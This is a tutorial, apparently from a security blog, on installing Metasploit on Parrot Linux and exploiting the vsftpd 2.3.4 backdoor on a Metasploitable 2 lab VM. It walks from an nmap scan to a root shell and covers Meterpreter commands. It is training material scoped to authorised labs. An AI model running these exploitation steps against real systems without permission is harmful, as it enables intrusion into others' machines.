Metasploit on Parrot Linux: Setup and Your First Lab Exploit (Metasploitable 2)

This tutorial is for authorized testing only: the only target used here is Metasploitable 2, a deliberately vulnerable virtual machine you run on your own network, and you should never point these tools at a system you do not own or have written permission to test.

Metasploit is the framework that ties a penetration test together. It holds exploit modules, payloads and post-exploitation tools behind a single console, and learning it is a rite of passage on Parrot Linux. This guide gets metasploit parrot linux running, sets up a safe Metasploitable 2 target, and walks you through your first full exploit from scan to shell, explaining what each step actually does rather than asking you to paste commands blindly.

What you need before you start

You need two machines on the same isolated network: your Parrot Linux box running Metasploit, and a Metasploitable 2 virtual machine as the target. The cleanest way to build this is a host-only or internal virtual network so nothing leaks onto your real LAN or the internet. If you have not built a practice environment yet, follow our walkthrough on building a home pentesting lab with Parrot Linux first, then come back here.

Metasploitable 2 is an intentionally broken Linux image published for training. It ships with weak services and default credentials so you can practise safely. Download it only from its official source, import it into VirtualBox or VMware, and set its network adapter to the same host-only network as your Parrot machine.

Check and start Metasploit on Parrot

The Security and Hack The Box editions of Parrot include the Metasploit Framework. Confirm it is present:

msfconsole --version

If it is missing on a Home edition, install it from the Parrot repositories with apt:

sudo apt update
sudo apt install metasploit-framework

Metasploit stores its data in a PostgreSQL database, which makes scans and hosts persist between sessions. Start the database and then initialise it:

sudo systemctl start postgresql
sudo msfdb init

Parrot uses systemd, so systemctl is the correct way to manage the PostgreSQL service. Now launch the console:

msfconsole

The first start takes a moment. Once you see the msf6 > prompt, confirm the database connected:

db_status

A message that it is connected means your scans and loot will be saved. If it is not, exit, re-run sudo msfdb init, and start again.

Find your target

You need the Metasploitable IP address. From Parrot, a quick ping sweep of your lab subnet finds it:

nmap -sn 192.168.56.0/24

Note the Metasploitable address, then enumerate its services. Metasploit can store the results directly in its database:

db_nmap -sV 192.168.56.101

Running Nmap through db_nmap instead of standalone saves every open port and service version into Metasploit, so you can list them later with services. If you want a deeper refresher on scanning flags, see our guide on essential Nmap commands on Parrot Linux. On Metasploitable 2 you will see a long list of outdated services, which is exactly the point.

Pick an exploit module

One of the easiest teaching exploits on Metasploitable 2 is the backdoored vsftpd 2.3.4 service on port 21. Search for it inside the console:

search vsftpd

Metasploit lists matching modules with a path. Load the one you want:

use exploit/unix/ftp/vsftpd_234_backdoor

Before running anything, read what the module expects:

show options

This prints the settings the module needs and which are already filled in. The one you almost always have to set yourself is RHOSTS, the remote target.

Configure and run

Point the module at your Metasploitable box:

set RHOSTS 192.168.56.101

Many modules also let you preview whether a target is likely vulnerable before firing:

check

Not every module supports check, but when it does it is a polite first step. When you are ready, launch the exploit:

exploit

If it succeeds against this specific backdoor, you land in a basic command shell on the target. Confirm who you are and where you are:

id
uname -a
hostname

Seeing uid=0(root) on Metasploitable is your signal that the practice exploit worked. Because this is your own lab machine, you can explore freely.

Understand Meterpreter

Many Metasploit exploits give you a Meterpreter session instead of a plain shell. Meterpreter is an in-memory payload with its own command set that is far more capable than a raw shell. When you get one, useful first commands include:

sysinfo
getuid
shell

sysinfo prints target details, getuid shows your privilege level, and shell drops you to a normal system shell when you need one. To list and return to sessions without closing them, background the current one with background and view all of them with sessions -l.

Clean up your lab

When you finish practising, exit cleanly. Type exit to leave a session and exit -y to quit the console. Snapshot your Metasploitable VM before each session so you can roll it back to a known state, which keeps your practice repeatable and stops one messy exploit from breaking the next lesson.

Where Metasploit fits in a test

Metasploit is powerful, but it is one stage of a larger process, not the whole thing. You still scan and enumerate first, you still verify findings by hand, and you still write up what you did. Treating the framework as a point-and-click button is the fastest way to misunderstand your own results. On a lab machine the stakes are zero, which is exactly why it is the right place to build good habits before you ever touch an authorized engagement. If you are weighing Parrot against the other common pentest distribution for this kind of work, our Parrot OS vs Kali Linux comparison covers how their Metasploit setups differ.

FAQ

Is Metasploit pre-installed on Parrot Linux?

Yes on the Security and Hack The Box editions. On the Home edition install it with sudo apt install metasploit-framework, then run sudo msfdb init to set up its database.

Why does my database keep showing as not connected?

Start PostgreSQL with sudo systemctl start postgresql, then run sudo msfdb init before launching msfconsole. Check inside the console with db_status.

Is it legal to use Metasploit?

The framework itself is legal and widely used by security professionals. Using it against systems you do not own or have written permission to test is not. Keep every exercise on your own lab targets such as Metasploitable 2.

How the pieces fit together

Metasploit can feel like a wall of commands on day one, so it helps to understand the four moving parts behind the console. An exploit is the code that takes advantage of a specific flaw in a service. A payload is what runs on the target after the exploit lands, such as a shell or a Meterpreter session. An encoder reshapes a payload so it survives transport, and options are the per-run settings like RHOSTS and LHOST that tell a module where to point. Almost everything you type in msfconsole is you choosing one of these four and configuring it.

That mental model explains why the workflow is always the same: search for an exploit that matches a service you found, load it, set its options, pick a compatible payload if the default does not suit you, and run it. When a module fails, the cause is nearly always a mismatch in one of those parts. A payload that cannot reach you because LHOST is wrong, or an exploit aimed at a version the target is not running, will fail quietly. Reading show options carefully before every run saves more time than any single command.

When an exploit does not work

Beginners often assume a failed exploit means the target is patched, but on a lab machine the problem is usually configuration. Start by confirming the target is reachable at all with a quick ping or an Nmap scan of the one port in question. Next, re-check that the service version actually matches what the module expects; the vsftpd 2.3.4 backdoor only works against that exact build, and a different FTP server on port 21 will not respond to it.

If the network side looks right, check your own listener. For reverse payloads, LHOST must be the Parrot machine’s address on the lab network, not a loopback or a stray interface. Run ip a on Parrot to confirm which address sits on the host-only network and set LHOST to that. Finally, remember that Metasploitable 2 is a shared teaching target: if a previous exploit left a service in a broken state, roll the VM back to a clean snapshot and try again. Keeping the target pristine between exercises removes a whole class of confusing failures and lets you focus on learning the framework rather than fighting your own lab.